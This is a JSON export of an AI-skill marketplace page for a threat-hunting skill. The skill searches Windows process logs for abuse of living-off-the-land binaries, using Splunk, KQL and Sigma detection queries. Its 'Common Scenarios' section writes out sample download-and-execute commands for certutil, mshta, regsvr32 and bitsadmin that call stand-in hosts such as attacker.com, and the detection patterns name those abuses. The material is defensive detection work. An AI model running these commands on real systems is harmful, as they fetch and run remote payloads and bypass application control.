[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71G5BJEA8CZDP2AEHVDWAJM":3,"skill-same:01M71G5BJEA8CZDP2AEHVDWAJM":97},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":70,"commitSha":71,"skillDirectory":72,"forksCount":14,"repositoryHtmlUrl":73,"repositoryHomepageUrl":6,"ownerHtmlUrl":74,"ownerBlogUrl":6,"ownerDescription":75,"updatedAt":76,"install":77,"resources":90},"01M71G5BJEA8CZDP2AEHVDWAJM","hunting-lolbinlogs-exploit",null,"Hunt for adversary abuse of Living Off the Land Binaries (LOLBins) by analyzing endpoint process creation logs for suspicious execution patterns of legitimate Windows system binaries used for malicious purposes.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fsoc\u002Fhunting\u002Flolbinlogs\u002Fexploit\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"hunting lolbinlogs exploit","exploit","hunting","endpoint-detection","threat-hunting","read","process-monitoring","command","de","suspicious","malicious","monitoring","logs","conversion","defense-evasion","analysis","Bash","cybersecurity","cm","creation","2026-11-10 10:12:30",false,"---\nname: hunting-lolbinlogs-exploit\ndescription: Hunt for adversary abuse of Living Off the Land Binaries (LOLBins) by analyzing endpoint process creation logs for suspicious execution patterns of legitimate Windows system binaries used for malicious purposes.\ndomain: cybersecurity\nsubdomain: threat-hunting\ntags:\n- threat-hunting\n- lolbins\n- living-off-the-land\n- endpoint-detection\n- process-monitoring\n- mitre-t1218\n- defense-evasion\nd3fend_techniques:\n- Executable Denylisting\n- Execution Isolation\n- File Metadata Consistency Validation\n- Application Protocol Command Analysis\n- Content Format Conversion\nnist_csf:\n- DE.CM-01\n- DE.AE-02\n- DE.AE-07\n- ID.RA-05\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1027\n- T1059\n- T1218\ncapec: []\n---\n\n# Hunting for LOLBins Execution in Endpoint Logs\n\n## When to Use\n\n- When hunting for fileless attack techniques that abuse built-in Windows binaries\n- After threat intelligence indicates LOLBin-based campaigns targeting your industry\n- When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr32\n- During purple team exercises testing detection of defense evasion techniques\n- When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques\n\n## Prerequisites\n\n- Sysmon Event ID 1 (Process Creation) with full command-line logging\n- Windows Security Event ID 4688 with command-line auditing enabled\n- EDR telemetry with parent-child process relationships\n- SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)\n- LOLBAS project reference (lolbas-project.github.io) for known abuse patterns\n\n## Workflow\n\n1. **Build LOLBin Watchlist**: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.\n2. **Baseline Normal Usage**: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.\n3. **Hunt for Anomalous Arguments**: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with `-urlcache -decode -encode`, mshta with URL arguments, rundll32 loading DLLs from temp\u002Fuser directories, regsvr32 with `\u002Fs \u002Fn \u002Fu \u002Fi:URL`.\n4. **Analyze Parent-Child Relationships**: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.\n5. **Check Execution from Unusual Paths**: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.\n6. **Correlate with Network Activity**: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.\n7. **Score and Prioritize**: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| T1218 | System Binary Proxy Execution |\n| T1218.001 | Compiled HTML File (mshta.exe) |\n| T1218.003 | CMSTP |\n| T1218.005 | Mshta |\n| T1218.010 | Regsvr32 (Squiblydoo) |\n| T1218.011 | Rundll32 |\n| T1127.001 | MSBuild |\n| T1197 | BITS Jobs (bitsadmin.exe) |\n| T1140 | Deobfuscate\u002FDecode Files (certutil.exe) |\n| T1059.001 | PowerShell |\n| T1059.005 | Visual Basic (wscript\u002Fcscript) |\n| LOLBAS | Living Off the Land Binaries, Scripts and Libraries project |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Sysmon | Process creation with command-line and hash logging |\n| CrowdStrike Falcon | EDR with LOLBin detection analytics |\n| Microsoft Defender for Endpoint | Built-in LOLBin abuse detection |\n| Splunk | SPL-based process hunting and anomaly detection |\n| Elastic Security | Pre-built LOLBin detection rules |\n| LOLBAS Project | Reference database of LOLBin abuse techniques |\n| Sigma Rules | Community detection rules for LOLBin abuse |\n\n## Detection Queries\n\n### Splunk -- High-Risk LOLBin Execution\n```spl\nindex=sysmon EventCode=1\n| where match(Image, \"(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\\.exe$\")\n| eval suspicious=case(\n    match(CommandLine, \"(?i)certutil.*(-urlcache|-decode|-encode)\"), \"certutil_download_decode\",\n    match(CommandLine, \"(?i)mshta.*(http|https|javascript|vbscript)\"), \"mshta_remote_exec\",\n    match(CommandLine, \"(?i)rundll32.*\\\\\\\\(temp|appdata|users)\"), \"rundll32_unusual_dll\",\n    match(CommandLine, \"(?i)regsvr32.*\u002Fs.*\u002Fn.*\u002Fu.*\u002Fi:\"), \"regsvr32_squiblydoo\",\n    match(CommandLine, \"(?i)msbuild.*\\\\\\\\(temp|appdata|users)\"), \"msbuild_unusual_project\",\n    match(CommandLine, \"(?i)bitsadmin.*\u002Ftransfer\"), \"bitsadmin_download\",\n    match(CommandLine, \"(?i)cmstp.*\u002Fs.*\u002Fni\"), \"cmstp_uac_bypass\",\n    1=1, \"normal\"\n)\n| where suspicious!=\"normal\"\n| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious\n```\n\n### KQL -- Microsoft Sentinel LOLBin Hunting\n```kql\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where FileName in~ (\"certutil.exe\", \"mshta.exe\", \"rundll32.exe\", \"regsvr32.exe\",\n    \"msbuild.exe\", \"installutil.exe\", \"cmstp.exe\", \"bitsadmin.exe\")\n| where ProcessCommandLine matches regex @\"(?i)(urlcache|decode|encode|http:\u002F\u002F|https:\u002F\u002F|javascript:|vbscript:|\u002Fs\\s+\u002Fn|\u002Ftransfer)\"\n| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,\n    InitiatingProcessFileName, InitiatingProcessCommandLine\n| sort by Timestamp desc\n```\n\n### Sigma Rule -- Suspicious LOLBin Command Line\n```yaml\ntitle: Suspicious LOLBin Execution with Malicious Arguments\nstatus: experimental\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_certutil:\n        Image|endswith: '\\certutil.exe'\n        CommandLine|contains:\n            - '-urlcache'\n            - '-decode'\n            - '-encode'\n    selection_mshta:\n        Image|endswith: '\\mshta.exe'\n        CommandLine|contains:\n            - 'http:\u002F\u002F'\n            - 'https:\u002F\u002F'\n            - 'javascript:'\n    selection_regsvr32:\n        Image|endswith: '\\regsvr32.exe'\n        CommandLine|contains|all:\n            - '\u002Fs'\n            - '\u002Fi:'\n    condition: 1 of selection_*\nlevel: high\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n```\n\n## Common Scenarios\n\n1. **Certutil Download Cradle**: `certutil.exe -urlcache -split -f http:\u002F\u002Fmalicious.com\u002Fpayload.exe %TEMP%\\payload.exe` used to download malware bypassing proxy filters.\n2. **Mshta HTA Execution**: `mshta.exe http:\u002F\u002Fattacker.com\u002Fmalicious.hta` executing remote HTA files containing VBScript or JScript payloads.\n3. **Regsvr32 Squiblydoo**: `regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002Fattacker.com\u002Ffile.sct scrobj.dll` executing remote SCT files to bypass application whitelisting.\n4. **Rundll32 DLL Proxy**: `rundll32.exe C:\\Users\\user\\AppData\\Local\\Temp\\malicious.dll,EntryPoint` executing attacker DLLs via legitimate binary.\n5. **MSBuild Inline Task**: `msbuild.exe C:\\Temp\\malicious.csproj` executing C# code embedded in project files to bypass application control.\n6. **BITS Transfer**: `bitsadmin \u002Ftransfer job \u002Fdownload \u002Fpriority high http:\u002F\u002Fattacker.com\u002Fmalware.exe C:\\Temp\\update.exe` using BITS service for stealthy file download.\n7. **WMIC XSL Execution**: `wmic process list \u002Fformat:evil.xsl` executing JScript\u002FVBScript from XSL stylesheets.\n\n## Output Format\n\n```\nHunt ID: TH-LOLBIN-[DATE]-[SEQ]\nHost: [Hostname]\nUser: [Account context]\nLOLBin: [Binary name]\nFull Path: [Execution path]\nCommand Line: [Full arguments]\nParent Process: [Parent image and command line]\nDetection Category: [download_cradle\u002Fproxy_exec\u002Fuac_bypass\u002Fapplocker_bypass]\nNetwork Activity: [Yes\u002FNo -- destination if applicable]\nRisk Level: [Critical\u002FHigh\u002FMedium\u002FLow]\n```\n","# Hunting for LOLBins Execution in Endpoint Logs\n\n## When to Use\n\n- When hunting for fileless attack techniques that abuse built-in Windows binaries\n- After threat intelligence indicates LOLBin-based campaigns targeting your industry\n- When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr32\n- During purple team exercises testing detection of defense evasion techniques\n- When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques\n\n## Prerequisites\n\n- Sysmon Event ID 1 (Process Creation) with full command-line logging\n- Windows Security Event ID 4688 with command-line auditing enabled\n- EDR telemetry with parent-child process relationships\n- SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)\n- LOLBAS project reference (lolbas-project.github.io) for known abuse patterns\n\n## Workflow\n\n1. **Build LOLBin Watchlist**: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.\n2. **Baseline Normal Usage**: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.\n3. **Hunt for Anomalous Arguments**: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with `-urlcache -decode -encode`, mshta with URL arguments, rundll32 loading DLLs from temp\u002Fuser directories, regsvr32 with `\u002Fs \u002Fn \u002Fu \u002Fi:URL`.\n4. **Analyze Parent-Child Relationships**: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.\n5. **Check Execution from Unusual Paths**: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.\n6. **Correlate with Network Activity**: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.\n7. **Score and Prioritize**: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| T1218 | System Binary Proxy Execution |\n| T1218.001 | Compiled HTML File (mshta.exe) |\n| T1218.003 | CMSTP |\n| T1218.005 | Mshta |\n| T1218.010 | Regsvr32 (Squiblydoo) |\n| T1218.011 | Rundll32 |\n| T1127.001 | MSBuild |\n| T1197 | BITS Jobs (bitsadmin.exe) |\n| T1140 | Deobfuscate\u002FDecode Files (certutil.exe) |\n| T1059.001 | PowerShell |\n| T1059.005 | Visual Basic (wscript\u002Fcscript) |\n| LOLBAS | Living Off the Land Binaries, Scripts and Libraries project |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Sysmon | Process creation with command-line and hash logging |\n| CrowdStrike Falcon | EDR with LOLBin detection analytics |\n| Microsoft Defender for Endpoint | Built-in LOLBin abuse detection |\n| Splunk | SPL-based process hunting and anomaly detection |\n| Elastic Security | Pre-built LOLBin detection rules |\n| LOLBAS Project | Reference database of LOLBin abuse techniques |\n| Sigma Rules | Community detection rules for LOLBin abuse |\n\n## Detection Queries\n\n### Splunk -- High-Risk LOLBin Execution\n```spl\nindex=sysmon EventCode=1\n| where match(Image, \"(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\\.exe$\")\n| eval suspicious=case(\n    match(CommandLine, \"(?i)certutil.*(-urlcache|-decode|-encode)\"), \"certutil_download_decode\",\n    match(CommandLine, \"(?i)mshta.*(http|https|javascript|vbscript)\"), \"mshta_remote_exec\",\n    match(CommandLine, \"(?i)rundll32.*\\\\\\\\(temp|appdata|users)\"), \"rundll32_unusual_dll\",\n    match(CommandLine, \"(?i)regsvr32.*\u002Fs.*\u002Fn.*\u002Fu.*\u002Fi:\"), \"regsvr32_squiblydoo\",\n    match(CommandLine, \"(?i)msbuild.*\\\\\\\\(temp|appdata|users)\"), \"msbuild_unusual_project\",\n    match(CommandLine, \"(?i)bitsadmin.*\u002Ftransfer\"), \"bitsadmin_download\",\n    match(CommandLine, \"(?i)cmstp.*\u002Fs.*\u002Fni\"), \"cmstp_uac_bypass\",\n    1=1, \"normal\"\n)\n| where suspicious!=\"normal\"\n| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious\n```\n\n### KQL -- Microsoft Sentinel LOLBin Hunting\n```kql\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where FileName in~ (\"certutil.exe\", \"mshta.exe\", \"rundll32.exe\", \"regsvr32.exe\",\n    \"msbuild.exe\", \"installutil.exe\", \"cmstp.exe\", \"bitsadmin.exe\")\n| where ProcessCommandLine matches regex @\"(?i)(urlcache|decode|encode|http:\u002F\u002F|https:\u002F\u002F|javascript:|vbscript:|\u002Fs\\s+\u002Fn|\u002Ftransfer)\"\n| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,\n    InitiatingProcessFileName, InitiatingProcessCommandLine\n| sort by Timestamp desc\n```\n\n### Sigma Rule -- Suspicious LOLBin Command Line\n```yaml\ntitle: Suspicious LOLBin Execution with Malicious Arguments\nstatus: experimental\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_certutil:\n        Image|endswith: '\\certutil.exe'\n        CommandLine|contains:\n            - '-urlcache'\n            - '-decode'\n            - '-encode'\n    selection_mshta:\n        Image|endswith: '\\mshta.exe'\n        CommandLine|contains:\n            - 'http:\u002F\u002F'\n            - 'https:\u002F\u002F'\n            - 'javascript:'\n    selection_regsvr32:\n        Image|endswith: '\\regsvr32.exe'\n        CommandLine|contains|all:\n            - '\u002Fs'\n            - '\u002Fi:'\n    condition: 1 of selection_*\nlevel: high\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n```\n\n## Common Scenarios\n\n1. **Certutil Download Cradle**: `certutil.exe -urlcache -split -f http:\u002F\u002Fmalicious.com\u002Fpayload.exe %TEMP%\\payload.exe` used to download malware bypassing proxy filters.\n2. **Mshta HTA Execution**: `mshta.exe http:\u002F\u002Fattacker.com\u002Fmalicious.hta` executing remote HTA files containing VBScript or JScript payloads.\n3. **Regsvr32 Squiblydoo**: `regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002Fattacker.com\u002Ffile.sct scrobj.dll` executing remote SCT files to bypass application whitelisting.\n4. **Rundll32 DLL Proxy**: `rundll32.exe C:\\Users\\user\\AppData\\Local\\Temp\\malicious.dll,EntryPoint` executing attacker DLLs via legitimate binary.\n5. **MSBuild Inline Task**: `msbuild.exe C:\\Temp\\malicious.csproj` executing C# code embedded in project files to bypass application control.\n6. **BITS Transfer**: `bitsadmin \u002Ftransfer job \u002Fdownload \u002Fpriority high http:\u002F\u002Fattacker.com\u002Fmalware.exe C:\\Temp\\update.exe` using BITS service for stealthy file download.\n7. **WMIC XSL Execution**: `wmic process list \u002Fformat:evil.xsl` executing JScript\u002FVBScript from XSL stylesheets.\n\n## Output Format\n\n```\nHunt ID: TH-LOLBIN-[DATE]-[SEQ]\nHost: [Hostname]\nUser: [Account context]\nLOLBin: [Binary name]\nFull Path: [Execution path]\nCommand Line: [Full arguments]\nParent Process: [Parent image and command line]\nDetection Category: [download_cradle\u002Fproxy_exec\u002Fuac_bypass\u002Fapplocker_bypass]\nNetwork Activity: [Yes\u002FNo -- destination if applicable]\nRisk Level: [Critical\u002FHigh\u002FMedium\u002FLow]\n```\n",{"name":5,"tags":44,"capec":48,"model":49,"tools":50,"domain":36,"maxTurns":54,"nist_csf":55,"subdomain":23,"description":7,"mitre_attack":60,"d3fend_techniques":64},[23,45,46,22,25,47,33],"lolbins","living-off-the-land","mitre-t1218",[],"sonnet",[51,35,52,53],"Read","Glob","Grep",20,[56,57,58,59],"DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05",[61,62,63],"T1027","T1059","T1218",[65,66,67,68,69],"Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Application Protocol Command Analysis","Content Format Conversion","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fsoc\u002Fhunting\u002Flolbinlogs\u002Fexploit","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":78,"prompt":88,"zipAvailable":89},[79,82,85],{"tool":80,"command":81},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill hunting-lolbinlogs-exploit",{"tool":83,"command":84},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill hunting-lolbinlogs-exploit",{"tool":86,"command":87},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill hunting-lolbinlogs-exploit","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fsoc\u002Fhunting\u002Flolbinlogs\u002Fexploit\u002FSKILL.md",true,[91],{"path":92,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":95,"sourceHtmlUrl":96},"index.json","REFERENCE","参考文档",685,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fsoc\u002Fhunting\u002Flolbinlogs\u002Fexploit\u002Findex.json",[98,121,139,160,182,198],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":39},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[105,106,107,108,109,27,37,110,111,112,113,114,115,116,117,118,119,36,120],"services","detect","services wmi persistence detect","wmi","persistence","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":39},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[20,105,128,108,129,130,131,36,35,34,132,133,134,135,27,26,136,24,137,138],"services wmi exec exploit","exec","remote","traffic","team","across","crackmapexec","native","lateral movement","lateral-movement","Impacket",{"skillNo":140,"name":141,"nameZh":6,"description":142,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":143,"categories":144,"keywords":145,"publishedAt":39},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[146,147,148,149,150,151,36,35,152,34,153,154,27,24,155,156,157,158,159,49],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":161,"name":162,"nameZh":6,"description":163,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":164,"categories":165,"keywords":166,"publishedAt":39},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[106,167,168,169,170,171,172,37,173,36,120,174,175,176,177,178,179,180,181,27],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":183,"name":184,"nameZh":6,"description":185,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":186,"categories":187,"keywords":188,"publishedAt":39},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[189,190,106,191,169,171,192,37,193,173,36,120,34,194,195,196,197,181,27,110],"thread","processes thread injection detect","injection","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":199,"name":200,"nameZh":6,"description":201,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":202,"categories":203,"keywords":204,"publishedAt":39},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[205,106,169,206,192,37,207,208,36,120,209,210,211,212,213,214,27,110,215,216],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]